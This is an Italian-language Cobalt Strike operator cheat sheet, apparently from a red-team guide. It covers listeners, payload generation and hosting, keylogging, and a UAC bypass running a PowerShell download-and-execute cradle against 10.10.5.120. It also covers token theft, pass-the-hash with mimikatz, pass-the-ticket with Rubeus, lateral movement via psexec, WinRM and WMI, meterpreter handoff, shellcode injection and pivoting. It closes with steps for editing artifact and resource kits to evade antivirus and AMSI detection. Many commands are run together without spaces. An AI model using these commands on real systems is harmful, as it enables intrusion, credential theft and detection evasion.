Cobalt Strike -> Ascoltatori -> Aggiungi/Modifica quindi puoi selezionare dove ascoltare, quale tipo di beacon utilizzare (http, dns, smb...) e altro.
Ascoltatori Peer2Peer
I beacon di questi ascoltatori non hanno bisogno di comunicare direttamente con il C2, possono comunicare con esso attraverso altri beacon.
Cobalt Strike -> Ascoltatori -> Aggiungi/Modifica quindi devi selezionare i beacon TCP o SMB
Il beacon TCP imposterà un ascoltatore sulla porta selezionata. Per connettersi a un beacon TCP utilizzare il comando connect <ip> <port> da un altro beacon
Il beacon smb ascolterà in un nome di pipe con il nome selezionato. Per connettersi a un beacon SMB è necessario utilizzare il comando link [target] [pipe].
Genera e ospita payload
Genera payload in file
Attacchi -> Pacchetti ->
HTMLApplication per file HTA
Macro di MS Office per un documento di Office con una macro
Eseguibile Windows per un .exe, .dll o servizio .exe
Eseguibile Windows (S) per un stageless .exe, .dll o servizio .exe (meglio stageless che staged, meno IoC)
Genera e ospita payload
Attacchi -> Web Drive-by -> Consegna Web Scriptata (S) Questo genererà uno script/eseguibile per scaricare il beacon da cobalt strike in formati come: bitsadmin, exe, powershell e python
Ospita payload
Se hai già il file che desideri ospitare in un server web vai su Attacchi -> Web Drive-by -> Ospita File e seleziona il file da ospitare e la configurazione del server web.
Opzioni Beacon
# Esegui un binario .NET localeexecute-assembly</percorso/al/file.exe># Screenshotprintscreen# Scatta una singola schermata utilizzando il metodo PrintScrscreenshot# Scatta una singola schermatascreenwatch# Scatta periodicamente schermate del desktop## Vai su Visualizza -> Schermate per vederle# Keyloggerkeylogger [pid] [x86|x64]## Visualizza > Tasti premuti per vedere i tasti premuti# Scansione porteportscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Inietta l'azione di scansione porte in un altro processo
portscan [targets] [ports] [arp|icmp|none] [max connections]# Powershell# Importa il modulo Powershellpowershell-importC:\percorso\PowerView.ps1powershell<scriviquiilcomandopowershell># Impersonazione utente## Generazione token con credenzialimake_token [DOMINIO\utente] [password] # Crea un token per impersonare un utente nella retels \\nome_computer\c$ # Prova a utilizzare il token generato per accedere a C$ in un computerrev2self# Smetti di utilizzare il token generato con make_token## L'uso di make_token genera l'evento 4624: un account è stato effettuato l'accesso con successo. Questo evento è molto comune in un dominio Windows, ma può essere limitato filtrando il tipo di accesso. Come accennato in precedenza, utilizza LOGON32_LOGON_NEW_CREDENTIALS che è il tipo 9.
# Bypass UACelevatesvc-exe<ascoltatore>elevateuac-token-duplication<ascoltatore>runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
## Ruba token da pid## Come make_token ma rubando il token da un processosteal_token [pid] # Inoltre, questo è utile per azioni di rete, non per azioni locali## Dalla documentazione dell'API sappiamo che questo tipo di accesso "consente al chiamante di clonare il proprio token corrente". Ecco perché l'output di Beacon dice Impersonated <current_username> - sta impersonando il nostro token clonato.
ls \\nome_computer\c$ # Prova a utilizzare il token generato per accedere a C$ in un computerrev2self# Smetti di utilizzare il token rubato da steal_token## Avvia un processo con nuove credenzialispawnas [dominio\nome_utente] [password] [ascoltatore] # Fallo da una directory con accesso in lettura come: cd C:\## Come make_token, questo genererà l'evento Windows 4624: un account è stato effettuato l'accesso con successo, ma con un tipo di accesso 2 (LOGON32_LOGON_INTERACTIVE). Verranno dettagliati l'utente chiamante (TargetUserName) e l'utente impersonato (TargetOutboundUserName).
## Inietta in un processoinject [pid] [x64|x86] [ascoltatore]## Da un punto di vista OpSec: non eseguire l'iniezione cross-platform a meno che non sia strettamente necessario (ad es. x86 -> x64 o x64 -> x86).
## Passa l'hash## Questa modifica richiede la patching della memoria LSASS che è un'azione ad alto rischio, richiede privilegi di amministratore locale e non è molto fattibile se Protected Process Light (PPL) è abilitato.
pth [pid] [arch] [DOMINIO\utente] [hash NTLM]pth [DOMINIO\utente] [hash NTLM]## Passa l'hash tramite mimikatzmimikatzsekurlsa::pth/user:<username>/domain:<DOMINIO>/ntlm:<HASHNTLM>/run:"powershell -w hidden"## Senza /run, mimikatz genera un cmd.exe, se stai eseguendo come utente con Desktop, vedrà la shell (se stai eseguendo come SYSTEM sei a posto)
steal_token<pid>#Rubare il token dal processo creato da mimikatz## Passa il ticket## Richiedi un ticketexecute-assemblyC:\percorso\Rubeus.exeasktgt/user:<username>/domain:<dominio>/aes256:<chiavi_aes>/nowrap/opsec## Crea una nuova sessione di accesso da utilizzare con il nuovo ticket (per non sovrascrivere quello compromesso)make_token<dominio>\<nome_utente>DummyPass## Scrivi il ticket nella macchina dell'attaccante da una sessione poweshell & caricalo[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
kerberos_ticket_useC:\Users\Administrator\Desktop\jkingTGT.kirbi## Passa il ticket da SYSTEM## Genera un nuovo processo con il ticketexecute-assembly C:\percorso\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMINIO> /aes256:<CHIAVE AES> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## Ruba il token da quel processosteal_token<pid>## Estrai il ticket + Passa il ticket### Elenca i ticketexecute-assemblyC:\percorso\Rubeus.exetriage### Dump ticket interessanti per luidexecute-assemblyC:\percorso\Rubeus.exedump/service:krbtgt/luid:<luid>/nowrap### Creare una nuova sessione di accesso, prendere nota di luid e processidexecute-assemblyC:\percorso\Rubeus.execreatenetonly/program:C:\Windows\System32\cmd.exe### Inserire il ticket nella sessione di accesso generataexecute-assemblyC:\percorso\Rubeus.exeptt/luid:0x92a8c/ticket:[...base64-ticket...]### Infine, rubare il token da quel nuovo processosteal_token<pid># Movimento laterale## Se è stato creato un token, verrà utilizzatojump [metodo] [destinazione] [ascoltatore]## Metodi:## psexec x86 Utilizza un servizio per eseguire un artefatto EXE del servizio## psexec64 x64 Utilizza un servizio per eseguire un artefatto EXE del servizio## psexec_psh x86 Utilizza un servizio per eseguire una riga di comando di PowerShell## winrm x86 Esegui uno script di PowerShell tramite WinRM## winrm64 x64 Esegui uno script di PowerShell tramite WinRMremote-exec [metodo] [destinazione] [comando]## Metodi:## psexec Esegui in remoto tramite Service Control Manager## winrm Esegui in remoto tramite WinRM (PowerShell)## wmi Esegui in remoto tramite WMI## Per eseguire un beacon con wmi (non è presente nel comando jump) basta caricare il beacon ed eseguirlobeacon> uploadC:\Payloads\beacon-smb.exebeacon> remote-execwmisrv-1C:\Windows\beacon-smb.exe# Passare la sessione a Metasploit - Attraverso l'ascoltatore## Sull'host di Metasploitmsf6>useexploit/multi/handlermsf6exploit(multi/handler) >setpayloadwindows/meterpreter/reverse_httpmsf6exploit(multi/handler) >setLHOSTeth0msf6exploit(multi/handler) >setLPORT8080msf6exploit(multi/handler) >exploit-j## Su cobalt: Listeners > Add e impostare il Payload su Foreign HTTP. Impostare l'Host su 10.10.5.120, la Porta su 8080 e fare clic su Salva.
beacon> spawnmetasploit## Puoi spawnare solo sessioni Meterpreter x86 con l'ascoltatore esterno.# Passare la sessione a Metasploit - Attraverso l'iniezione di shellcode## Sull'host di Metasploitmsfvenom-pwindows/x64/meterpreter_reverse_httpLHOST=<IP>LPORT=<PORT>-fraw-o/tmp/msf.bin## Esegui msfvenom e prepara l'ascoltatore multi/handler## Copia il file bin su cobalt strike hostpsshinject<pid>x64C:\Payloads\msf.bin#Inietta il codice shell di metasploit in un processo x64# Passare la sessione di metasploit a cobalt strike## Genera lo stageless Beacon shellcode, vai su Attacks > Packages > Windows Executable (S), seleziona l'ascoltatore desiderato, seleziona Raw come tipo di output e seleziona Use x64 payload.
## Usa post/windows/manage/shellcode_inject in metasploit per iniettare il codice shell di cobalt strike generato# Pivoting## Apri un proxy socks nel teamserverbeacon> socks1080# Connessione SSHbeacon> ssh10.10.17.12:22usernamepassword
Evitare gli AV
Kit di artefatti
Di solito in /opt/cobaltstrike/artifact-kit puoi trovare il codice e i modelli precompilati (in /src-common) dei payload che cobalt strike utilizzerà per generare i beacon binari.
Utilizzando ThreatCheck con il backdoor generato (o solo con il modello compilato) puoi scoprire cosa fa scattare il defender. Di solito si tratta di una stringa. Pertanto, puoi semplicemente modificare il codice che genera il backdoor in modo che quella stringa non appaia nel binario finale.
Dopo aver modificato il codice, esegui ./build.sh dalla stessa directory e copia la cartella dist-pipe/ nel client Windows in C:\Tools\cobaltstrike\ArtifactKit.
Non dimenticare di caricare lo script aggressivo dist-pipe\artifact.cna per indicare a Cobalt Strike di utilizzare le risorse dal disco che desideriamo e non quelle caricate.
Kit delle risorse
La cartella ResourceKit contiene i modelli per i payload basati su script di Cobalt Strike, inclusi PowerShell, VBA e HTA.
Utilizzando ThreatCheck con i modelli è possibile individuare ciò che non piace al difensore (in questo caso AMSI) e modificarlo:
Modificando le righe rilevate è possibile generare un modello che non verrà rilevato.
Non dimenticare di caricare lo script aggressivo ResourceKit\resources.cna per indicare a Cobalt Strike di utilizzare le risorse dal disco che desideriamo e non quelle caricate.